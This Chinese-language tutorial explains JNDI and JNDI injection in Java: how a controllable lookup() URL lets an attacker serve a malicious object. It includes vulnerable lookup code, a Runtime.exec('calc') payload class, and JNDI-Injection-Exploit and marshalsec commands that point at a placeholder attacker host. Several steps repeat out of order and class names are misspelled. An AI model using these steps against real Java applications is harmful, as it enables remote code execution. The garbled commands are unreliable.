Java-JNDI

JNDI 是什么

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。

JNDI 提供统一的客户端 API,通过不同的 JNDI 服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的命令服务和目录服务,如下图。

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

JNDI 注入原理分析

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数被外部攻击者可控,攻击者就可以将恶意的 url 传入参数,以此劫持被攻击的 Java 客户端的 JNDI 请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意 Java 对象载荷(reference 实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。

1
2
3
4
5
6
7
8
9
10
11
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量
InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
initialContext.lookup(uri); // 获取指定的远程对象
}
}

代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup () 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它。

JNDI 远程调用:JNDI-Injection

1,使用远程调用(默认端口 1389)

1
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");

2,利用工具生成调用地址

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

JNDI 远程调用 - marshalsec

2,利用工具生成调用地址

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

JNDI 远程调用 - marshalsec

1,使用远程端口 (默认端口 1389)

1
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");

2,编译对象

1
javac Test.java  //编译为.class
1
2
3
4
5
6
//Test.java
public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

3,使用工具生成调用协议(rmi,ldap)

1
2
3
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LADPRefServeer http://0.0.0.0/Test
或者
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServeer http://0.0.0.0/Test

注意:不同 JDK 版本中 JNDI 注入存在的限制及绕过方法